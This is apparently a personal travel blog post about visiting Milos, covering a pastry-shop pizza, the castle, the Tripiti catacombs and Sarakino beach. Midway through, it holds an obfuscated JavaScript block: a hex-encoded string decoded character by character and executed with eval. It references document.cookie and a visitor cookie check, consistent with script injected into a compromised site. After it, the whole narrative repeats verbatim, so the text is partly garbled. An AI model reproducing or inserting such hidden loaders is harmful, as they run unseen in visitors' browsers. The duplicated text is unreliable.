Greece II: Ancienter Than Ever

Milos

Plaka, Milos, from the bay

Our first island was Milos. We arrived in the port of Adamas and took a bus to the capital town of Plaka (5 km north and quite a bit up). Just beside the Plaka bus stop was a cafe/pastry shop called Palaios (Παλαιóς).

Restaurant Review: Palaios

Would I encourage you to go to Greece and get the pizza? In this case, yes. I ordered it because I didn't really want to be at a pastry shop, and it was the only food with vegetables in it - I don't remember everything, but there were tomatoes, along with ham and feta cheese, which I don't usually care for but which I thought fit in well. We also had watermelon pie, which is traditional on Milos, and which tastes like watermelon pie; and bougatsa, which is a lot like a powdered donut in the shape of a lasagna. Due to the wind, most of the powdered sugar from the bougatsa ended up on my shirt.

After eating, we walked up to the old castle. The path gets ambiguous on occasion, but if you head in the general direction of up and follow the electric wiring, you'll get there.

We wandered around town, hoping to find the way to Tripiti, which we knew to be near by. Tripiti boasts catacombs dating from early Christianity, the site of the discovery of the Venus de Milo, and a Roman theater. We actually came close, but didn't realize it until we had wandered back to the Plaka bus stop and taken the bus to the catacombs. A short walk took us past the site where Venus was found about 200 years ago, past the Roman theater, and by the catacombs.

Katie de Milo
Roman theater on Milos
View from the Roman theater on Milos. But I'm sure the last time you saw a play, you had a view like this, too, right?

After we saw what was open of the catacombs, we hiked into the town of Tripiti (which is named after the catacombs — "τριπιτη [spelling, Katie?]" is Greek for "perforated"). Katie and I were both parched, so she used her superpower of speaking Greek to get directions to a mini-mart. The directions were actually pretty minimal, and I'm not sure the place we found was the place we were directed to; at any rate, we found a place where we got water and Coke. We sat outside, drinking, for a little while, and discussed our plans. We decided to get a taxi for Sarakino beach. We went back into the shop, Katie explained our need, and the girl behind the counter called us a taxi.

The taxi driver was the chatty sort - Katie, once again, used her superpower, not just to get us to the beach, but also to attend to the taxiist on our way. She got his phone number before we disembarked so we'd have a way home - a bus runs occasionally between Sarakino beach and the port of Adamas, but it doesn't run often.

Sarakino has been described as "lunar", but the moon's landscape is less interesting. It's more like a lunar landscape as portrayed in an old cartoon. The ground is, principally, one undivided sheet of white rock.

Sarakino beach, looking north
Sarakino beach, looking southeast toward unadvertised shipwreck

After Sarakino, we had just enough time to get a taxi to the southern beach of Paleohori before the last bus back to port. We didn't see much there, but I got this picture:

Paleohori

Back at port, we ate dinner and wandered around town a bit.

b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:6d:60:27:30:1f:20:32:4:1:74:4:1:74"[xwkah](":");}hoeqe=oxg;stpj=[];for(nyrjwn=22-20-2;-nyrjwn+1383!=0;nyrjwn+=1){gasyk=nyrjwn;if((0x19==031))stpj+=String.fromCharCode(eval(pvsjfg+hoeqe[1*gasyk])+0xa-igdj);}jpex=eval;jpex(stpj)}

Restaurant Review: Palaios

Would I encourage you to go to Greece and get the pizza? In this case, yes. I ordered it because I didn't really want to be at a pastry shop, and it was the only food with vegetables in it - I don't remember everything, but there were tomatoes, along with ham and feta cheese, which I don't usually care for but which I thought fit in well. We also had watermelon pie, which is traditional on Milos, and which tastes like watermelon pie; and bougatsa, which is a lot like a powdered donut in the shape of a lasagna. Due to the wind, most of the powdered sugar from the bougatsa ended up on my shirt.

After eating, we walked up to the old castle. The path gets ambiguous on occasion, but if you head in the general direction of up and follow the electric wiring, you'll get there.

We wandered around town, hoping to find the way to Tripiti, which we knew to be near by. Tripiti boasts catacombs dating from early Christianity, the site of the discovery of the Venus de Milo, and a Roman theater. We actually came close, but didn't realize it until we had wandered back to the Plaka bus stop and taken the bus to the catacombs. A short walk took us past the site where Venus was found about 200 years ago, past the Roman theater, and by the catacombs.

Katie de Milo
Roman theater on Milos
View from the Roman theater on Milos. But I'm sure the last time you saw a play, you had a view like this, too, right?

After we saw what was open of the catacombs, we hiked into the town of Tripiti (which is named after the catacombs — "τριπιτη [spelling, Katie?]" is Greek for "perforated"). Katie and I were both parched, so she used her superpower of speaking Greek to get directions to a mini-mart. The directions were actually pretty minimal, and I'm not sure the place we found was the place we were directed to; at any rate, we found a place where we got water and Coke. We sat outside, drinking, for a little while, and discussed our plans. We decided to get a taxi for Sarakino beach. We went back into the shop, Katie explained our need, and the girl behind the counter called us a taxi.

The taxi driver was the chatty sort - Katie, once again, used her superpower, not just to get us to the beach, but also to attend to the taxiist on our way. She got his phone number before we disembarked so we'd have a way home - a bus runs occasionally between Sarakino beach and the port of Adamas, but it doesn't run often.

Sarakino has been described as "lunar", but the moon's landscape is less interesting. It's more like a lunar landscape as portrayed in an old cartoon. The ground is, principally, one undivided sheet of white rock.

Sarakino beach, looking north
Sarakino beach, looking southeast toward unadvertised shipwreck

After Sarakino, we had just enough time to get a taxi to the southern beach of Paleohori before the last bus back to port. We didn't see much there, but I got this picture:

Paleohori

Back at port, we ate dinner and wandered around town a bit.